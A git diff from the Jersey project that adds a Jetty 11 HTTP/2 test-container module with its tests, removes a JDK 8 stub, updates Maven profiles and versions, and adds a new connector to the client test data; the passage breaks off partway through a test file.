--- a/test-framework/providers/jetty/src/main/java8/org/glassfish/jersey/test/jetty/JettyTestContainerFactory.java
+++ /dev/null
@@ -1,38 +0,0 @@
-/*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.test.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.test.DeploymentContext;
-import org.glassfish.jersey.test.spi.TestContainer;
-import org.glassfish.jersey.test.spi.TestContainerFactory;
-
-import java.net.URI;
-
-/**
- * Jetty test factory stub for JDK 1.8 only
- *
- * since Jetty 11+ does not support JDKs below 11
- */
-public class JettyTestContainerFactory implements TestContainerFactory {
-
-    @Override
-    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
-        throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
-    }
-}
diff --git a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index c362bf0..6504f0e 100644
--- a/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/test-framework/providers/jetty/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
 #
 # This program and the accompanying materials are made available under the
 # terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,4 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/pom.xml b/test-framework/providers/jetty11-http2/pom.xml
new file mode 100644
index 0000000..ed1cf22
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/pom.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+
+    Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+
+    This program and the accompanying materials are made available under the
+    terms of the Eclipse Public License v. 2.0, which is available at
+    http://www.eclipse.org/legal/epl-2.0.
+
+    This Source Code may also be made available under the following Secondary
+    Licenses when the conditions for such availability set forth in the
+    Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+    version 2 with the GNU Classpath Exception, which is available at
+    https://www.gnu.org/software/classpath/license.html.
+
+    SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+
+-->
+
+<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
+    <parent>
+        <artifactId>project</artifactId>
+        <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+        <version>3.1.99-SNAPSHOT</version>
+    </parent>
+    <modelVersion>4.0.0</modelVersion>
+
+    <artifactId>jersey-test-framework-provider-jetty-http2</artifactId>
+    <packaging>jar</packaging>
+    <name>jersey-test-framework-provider-jetty-http2</name>
+
+    <description>Jersey Test Framework - Jetty HTTP2 container</description>
+
+    <dependencies>
+        <dependency>
+            <groupId>org.glassfish.jersey.test-framework</groupId>
+            <artifactId>jersey-test-framework-core</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+        <dependency>
+            <groupId>org.glassfish.jersey.containers</groupId>
+            <artifactId>jersey-container-jetty-http2</artifactId>
+            <version>${project.version}</version>
+        </dependency>
+    </dependencies>
+</project>
\ No newline at end of file
diff --git a/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
new file mode 100644
index 0000000..867db08
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/Jetty11Http2TestContainerFactory.java
@@ -0,0 +1,126 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import java.net.URI;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.client.ClientConfig;
+import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.spi.TestContainer;
+import org.glassfish.jersey.test.spi.TestContainerException;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+import org.glassfish.jersey.test.spi.TestHelper;
+
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+
+/**
+ * Factory for testing {@link Jetty11Http2ContainerFactory}.
+ *
+ */
+public final class Jetty11Http2TestContainerFactory implements TestContainerFactory {
+
+    private static class JettyHttp2TestContainer implements TestContainer {
+
+        private static final Logger LOGGER = Logger.getLogger(JettyHttp2TestContainer.class.getName());
+
+        private URI baseUri;
+        private final Server server;
+
+        private JettyHttp2TestContainer(final URI baseUri, final DeploymentContext context) {
+            final URI base = UriBuilder.fromUri(baseUri).path(context.getContextPath()).build();
+
+            if (!"/".equals(base.getRawPath())) {
+                throw new TestContainerException(String.format(
+                        "Cannot deploy on %s. Jetty HTTP2 container only supports deployment on root path.",
+                        base.getRawPath()));
+            }
+
+            this.baseUri = base;
+
+            if (LOGGER.isLoggable(Level.INFO)) {
+                LOGGER.info("Creating JettyHttp2TestContainer configured at the base URI "
+                        + TestHelper.zeroPortToAvailablePort(baseUri));
+            }
+
+            this.server = Jetty11Http2ContainerFactory.createHttp2Server(this.baseUri, context.getResourceConfig(), false);
+        }
+
+        @Override
+        public ClientConfig getClientConfig() {
+            return null;
+        }
+
+        @Override
+        public URI getBaseUri() {
+            return baseUri;
+        }
+
+        @Override
+        public void start() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.WARNING, "Ignoring start request - JettyHttp2TestContainer is already started.");
+            } else {
+                LOGGER.log(Level.FINE, "Starting JettyHttp2TestContainer...");
+                try {
+                    server.start();
+
+                    if (baseUri.getPort() == 0) {
+                        int port = 0;
+                        for (final Connector connector : server.getConnectors()) {
+                            if (connector instanceof ServerConnector) {
+                                port = ((ServerConnector) connector).getLocalPort();
+                                break;
+                            }
+                        }
+
+                        baseUri = UriBuilder.fromUri(baseUri).port(port).build();
+
+                        LOGGER.log(Level.INFO, "Started JettyHttp2TestContainer at the base URI " + baseUri);
+                    }
+                } catch (Exception e) {
+                    throw new TestContainerException(e);
+                }
+            }
+        }
+
+        @Override
+        public void stop() {
+            if (server.isStarted()) {
+                LOGGER.log(Level.FINE, "Stopping JettyHttp2TestContainer...");
+                try {
+                    this.server.stop();
+                } catch (Exception ex) {
+                    LOGGER.log(Level.WARNING, "Error Stopping JettyHttp2TestContainer...", ex);
+                }
+            } else {
+                LOGGER.log(Level.WARNING, "Ignoring stop request - JettyHttp2TestContainer is already stopped.");
+            }
+        }
+    }
+
+    @Override
+    public TestContainer create(final URI baseUri, final DeploymentContext context) throws IllegalArgumentException {
+        return new JettyHttp2TestContainer(baseUri, context);
+    }
+}
diff --git a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
similarity index 77%
rename from core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
rename to test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
index dd25372..0fdbe9d 100644
--- a/core-common/src/main/java8/org/glassfish/jersey/internal/jsr166/JerseyFlowSubscriber.java
+++ b/test-framework/providers/jetty11-http2/src/main/java/org/glassfish/jersey/test/jetty11/http2/package-info.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -14,7 +14,7 @@
  * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
  */
 
-package org.glassfish.jersey.internal.jsr166;
-
-public interface JerseyFlowSubscriber<T> extends Flow.Subscriber<T> {
-}
+/**
+ * Jersey test framework for Jetty 11 HTTP/2 Container.
+ */
+package org.glassfish.jersey.test.jetty11.http2;
diff --git a/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
new file mode 100644
index 0000000..0edcf72
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/main/resources/META-INF/services/org.glassfish.jersey.test.spi.TestContainerFactory
@@ -0,0 +1 @@
+org.glassfish.jersey.test.jetty11.http2.Jetty11Http2TestContainerFactory
diff --git a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
similarity index 98%
copy from test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
copy to test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
index 2886c72..f10b03c 100644
--- a/test-framework/providers/jetty-http2/src/main/resources/org/glassfish/jersey/test/jetty/http2/localization.properties
+++ b/test-framework/providers/jetty11-http2/src/main/resources/org/glassfish/jersey/test/jetty11/http2/localization.properties
@@ -15,4 +15,4 @@
 #
 
 # {0} - status code; {1} - status reason message
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
new file mode 100644
index 0000000..ac93ccb
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/AvailablePortJetty11Test.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.DeploymentContext;
+import org.glassfish.jersey.test.JerseyTest;
+import org.glassfish.jersey.test.TestProperties;
+import org.glassfish.jersey.test.spi.TestContainerFactory;
+
+import org.junit.jupiter.api.Test;
+import static org.hamcrest.CoreMatchers.equalTo;
+import static org.hamcrest.CoreMatchers.not;
+import static org.hamcrest.MatcherAssert.assertThat;
+
+/**
+ * Tests finding an available port for container.
+ *
+ */
+public class AvailablePortJetty11Test extends JerseyTest {
+
+    @Override
+    protected TestContainerFactory getTestContainerFactory() {
+        return new Jetty11Http2TestContainerFactory();
+    }
+
+    @Path("AvailablePortJettyTest")
+    public static class TestResource {
+        @GET
+        public String get() {
+            return "GET";
+        }
+    }
+
+    @Override
+    protected DeploymentContext configureDeployment() {
+        forceSet(TestProperties.CONTAINER_PORT, "0");
+
+        return DeploymentContext.builder(new ResourceConfig(TestResource.class)).build();
+    }
+
+    @Test
+    public void testGet() {
+        assertThat(target().getUri().getPort(), not(0));
+        assertThat(getBaseUri().getPort(), not(0));
+
+        assertThat(target("AvailablePortJettyTest").request().get(String.class), equalTo("GET"));
+    }
+}
diff --git a/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
new file mode 100644
index 0000000..0ec4c06
--- /dev/null
+++ b/test-framework/providers/jetty11-http2/src/test/java/org/glassfish/jersey/test/jetty11/http2/Jetty11ContainerTest.java
@@ -0,0 +1,119 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.test.jetty11.http2;
+
+import java.net.URI;
+import java.util.List;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.core.Response;
+
+import org.glassfish.jersey.inject.hk2.DelayedHk2InjectionManager;
+import org.glassfish.jersey.inject.hk2.ImmediateHk2InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.jetty.http2.Jetty11Http2ContainerFactory;
+import org.glassfish.jersey.jetty.Jetty11HttpContainer;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.test.JerseyTest;
+
+import org.glassfish.hk2.api.ServiceLocator;
+
+import org.jvnet.hk2.internal.ServiceLocatorImpl;
+
+import org.eclipse.jetty.server.Server;
+import org.junit.jupiter.api.Test;
+import static org.junit.jupiter.api.Assertions.assertEquals;
+import static org.junit.jupiter.api.Assertions.assertTrue;
+
+/**
+ * Test class for {@link Jetty11HttpContainer}.
+ *
+ */
+public class Jetty11ContainerTest extends JerseyTest {
+
+    /**
+     * Creates new instance.
+     */
+    public Jetty11ContainerTest() {
+        super(new Jetty11Http2TestContainerFactory());
+    }
+
+    @Override
+    protected ResourceConfig configure() {
+        return new ResourceConfig(Resource.class);
+    }
+
+    /**
+     * Test resource class.
+     */
+    @Path("one")
+    public static class Resource {
+
+        /**
+         * Test resource method.
+         *
+         * @return Test simple string response.
+         */
+        @GET
+        public String getSomething() {
+            return "get";
+        }
+    }
+
+    @Test
+    /**
+     * Test {@link Server Jetty Server} container.
+     */
+    public void testJettyContainerTarget() {
+        final Response response = target().path("one").request().get();
+
+        assertEquals(200, response.getStatus(), "Response status unexpected.");
+        assertEquals("get", response.readEntity(String.class), "Response entity unexpected.");
+    }
+
+    /**
+     * Test that defined ServiceLocator becomes a parent of the newly created service locator.
+     */
+    @Test
+    public void testParentServiceLocator() {
+        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+        final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+                new ResourceConfig(Resource.class), false, locator);
+        final Jetty11HttpContainer container = (Jetty11HttpContainer) server.getHandler();
+        final InjectionManager injectionManager = container.getApplicationHandler().getInjectionManager();
+
+        ServiceLocator serviceLocator;
+        if (injectionManager instanceof ImmediateHk2InjectionManager) {
+            serviceLocator = ((ImmediateHk2InjectionManager) injectionManager).getServiceLocator();
+        } else if (injectionManager instanceof DelayedHk2InjectionManager) {
+            serviceLocator = ((DelayedHk2InjectionManager) injectionManager).getServiceLocator();
+        } else {
+            throw new RuntimeException("Invalid Hk2 InjectionManager");
+        }
+        assertTrue(serviceLocator.getParent() == locator,
+                   "Application injection manager was expected to have defined parent locator");
+    }
+    @Test
+    public void testHttp2Container() {
+        final ServiceLocator locator = new ServiceLocatorImpl("MyServiceLocator", null);
+        final Server server = Jetty11Http2ContainerFactory.createHttp2Server(URI.create("http://localhost:9876"),
+                new ResourceConfig(Resource.class), true, locator);
+        final List<String> protocols = server.getConnectors()[0].getProtocols();
+        assertTrue(protocols.contains("h2") || protocols.contains("h2c"));
+    }
+}
diff --git a/test-framework/providers/netty/pom.xml b/test-framework/providers/netty/pom.xml
index 0e439ec..8c4aecf 100644
--- a/test-framework/providers/netty/pom.xml
+++ b/test-framework/providers/netty/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2016, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2016, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-netty</artifactId>
diff --git a/test-framework/providers/pom.xml b/test-framework/providers/pom.xml
index 564a4ac..59da49e 100644
--- a/test-framework/providers/pom.xml
+++ b/test-framework/providers/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.providers</groupId>
diff --git a/test-framework/providers/simple/pom.xml b/test-framework/providers/simple/pom.xml
index bbb9e13..643d917 100644
--- a/test-framework/providers/simple/pom.xml
+++ b/test-framework/providers/simple/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/test-framework/util/pom.xml b/test-framework/util/pom.xml
index b0adcad..4d2dddc 100644
--- a/test-framework/util/pom.xml
+++ b/test-framework/util/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-util</artifactId>
diff --git a/tests/e2e-client/pom.xml b/tests/e2e-client/pom.xml
index a8e9f41..963af19 100644
--- a/tests/e2e-client/pom.xml
+++ b/tests/e2e-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.tests</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>e2e-client</artifactId>
@@ -74,6 +74,12 @@
             <artifactId>jersey-test-framework-provider-bundle</artifactId>
             <type>pom</type>
             <scope>test</scope>
+            <exclusions>
+                <exclusion>
+                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
+                </exclusion>
+            </exclusions>
         </dependency>
         <dependency>
             <groupId>jakarta.annotation</groupId>
@@ -107,20 +113,10 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.ext</groupId>
-            <artifactId>jersey-bean-validation</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
-            <groupId>org.glassfish.jersey.ext</groupId>
             <artifactId>jersey-entity-filtering</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
-            <groupId>org.glassfish.jersey.ext</groupId>
-            <artifactId>jersey-mvc-bean-validation</artifactId>
-            <scope>test</scope>
-        </dependency>
-        <dependency>
             <groupId>org.glassfish.jersey.media</groupId>
             <artifactId>jersey-media-sse</artifactId>
             <scope>test</scope>
@@ -147,12 +143,12 @@
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-jdk-connector</artifactId>
+            <artifactId>jersey-jnh-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.connectors</groupId>
-            <artifactId>jersey-jetty-connector</artifactId>
+            <artifactId>jersey-jdk-connector</artifactId>
             <scope>test</scope>
         </dependency>
         <dependency>
@@ -221,9 +217,97 @@
 
     <profiles>
         <profile>
+            <id>Jetty12Default</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.glassfish.jersey.connectors</groupId>
+                    <artifactId>jersey-jetty-connector</artifactId>
+                    <scope>test</scope>
+                </dependency>
+                <dependency>
+                    <groupId>org.glassfish.jersey.test-framework.providers</groupId>
+                    <artifactId>jersey-test-framework-provider-jetty</artifactId>
+                </dependency>
+            </dependencies>
+        </profile>
+        <profile>
+            <id>Jetty11JDK11</id>
+            <activation>
+                <jdk>[11,17)</jdk>
+            </activation>
+            <dependencies>
+                <dependency>
+                    <groupId>org.glassfish.jersey.connectors</groupId>
+                    <artifactId>jersey-jetty11-connector</artifactId>
+                    <scope>test</scope>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-client</artifactId>
+                    <version>${jetty11.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-http</artifactId>
+                    <version>${jetty11.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                        <exclusion>
+                            <groupId>org.eclipse.jetty</groupId>
+                            <artifactId>jetty-util</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-io</artifactId>
+                    <version>${jetty11.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                        <exclusion>
+                            <groupId>org.eclipse.jetty</groupId>
+                            <artifactId>jetty-util</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.eclipse.jetty</groupId>
+                    <artifactId>jetty-util</artifactId>
+                    <version>${jetty11.version}</version>
+                    <exclusions>
+                        <exclusion>
+                            <groupId>org.slf4j</groupId>
+                            <artifactId>slf4j-api</artifactId>
+                        </exclusion>
+                    </exclusions>
+                </dependency>
+                <dependency>
+                    <groupId>org.slf4j</groupId>
+                    <artifactId>slf4j-api</artifactId>
+                    <version>${slf4j.version}</version>
+                </dependency>
+            </dependencies>
+        </profile>
+
+        <profile>
             <id>JettyTestExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -251,16 +335,6 @@
             </build>
         </profile>
         <profile>
-            <id>jdk11+</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
-            <properties>
-                <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
-                <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
-            </properties>
-        </profile>
-        <profile>
             <id>xdk</id>
             <properties>
                 <!-- do not use security manager for xdk -->
@@ -287,4 +361,9 @@
         </profile>
     </profiles>
 
+    <properties>
+        <!-- https://bugs.openjdk.java.net/browse/JDK-8211426 -->
+        <surefire.security.argline>-Djdk.tls.server.protocols=TLSv1.2</surefire.security.argline>
+    </properties>
+
 </project>
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
index 051be02..f2c7d82 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/HttpPatchTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2017, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2017, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -24,7 +24,6 @@
 import java.util.concurrent.Future;
 import java.util.logging.Level;
 import java.util.logging.Logger;
-import java.util.stream.Stream;
 
 import jakarta.ws.rs.PATCH;
 import jakarta.ws.rs.Path;
@@ -36,12 +35,11 @@
 import org.glassfish.jersey.apache.connector.ApacheConnectorProvider;
 import org.glassfish.jersey.apache5.connector.Apache5ConnectorProvider;
 import org.glassfish.jersey.client.ClientConfig;
-import org.glassfish.jersey.client.HttpUrlConnectorProvider;
 import org.glassfish.jersey.client.spi.ConnectorProvider;
 import org.glassfish.jersey.grizzly.connector.GrizzlyConnectorProvider;
-import org.glassfish.jersey.internal.util.JdkVersion;
 import org.glassfish.jersey.jdk.connector.JdkConnectorProvider;
 import org.glassfish.jersey.jetty.connector.JettyConnectorProvider;
+import org.glassfish.jersey.jnh.connector.JavaNetHttpConnectorProvider;
 import org.glassfish.jersey.logging.LoggingFeature;
 import org.glassfish.jersey.netty.connector.NettyConnectorProvider;
 import org.glassfish.jersey.server.ResourceConfig;
@@ -62,16 +60,15 @@
     private static final Logger LOGGER = Logger.getLogger(RequestHeaderModificationsTest.class.getName());
 
     public static List<ConnectorProvider> testData() {
-        int size = JdkVersion.getJdkVersion().getMajor() < 11 ? 5 : 6;
-        final ConnectorProvider[] providers = new ConnectorProvider[size];
-        providers[0] = new JdkConnectorProvider();
-        providers[1] = new GrizzlyConnectorProvider();
-        providers[2] = new ApacheConnectorProvider();
-        providers[3] = new Apache5ConnectorProvider();
-        providers[4] = new NettyConnectorProvider();
-        if (size == 6) {
-            providers[5] = new JettyConnectorProvider();
-        }
+        final ConnectorProvider[] providers = new ConnectorProvider[] {
+                new JdkConnectorProvider(),
+                new GrizzlyConnectorProvider(),
+                new ApacheConnectorProvider(),
+                new Apache5ConnectorProvider(),
+                new NettyConnectorProvider(),
+                new JavaNetHttpConnectorProvider(),
+                new JettyConnectorProvider(),
+        };
         return Arrays.asList(providers);
     }
 
diff --git a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
index 55376fa..f381d5f 100644
--- a/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
+++ b/tests/e2e-client/src/test/java/org/glassfish/jersey/tests/e2e/client/connector/MultiPartTest.java
@@ -23,7 +23,6 @@
 import org.glassfish.jersey.client.HttpUrlConnectorProvider;
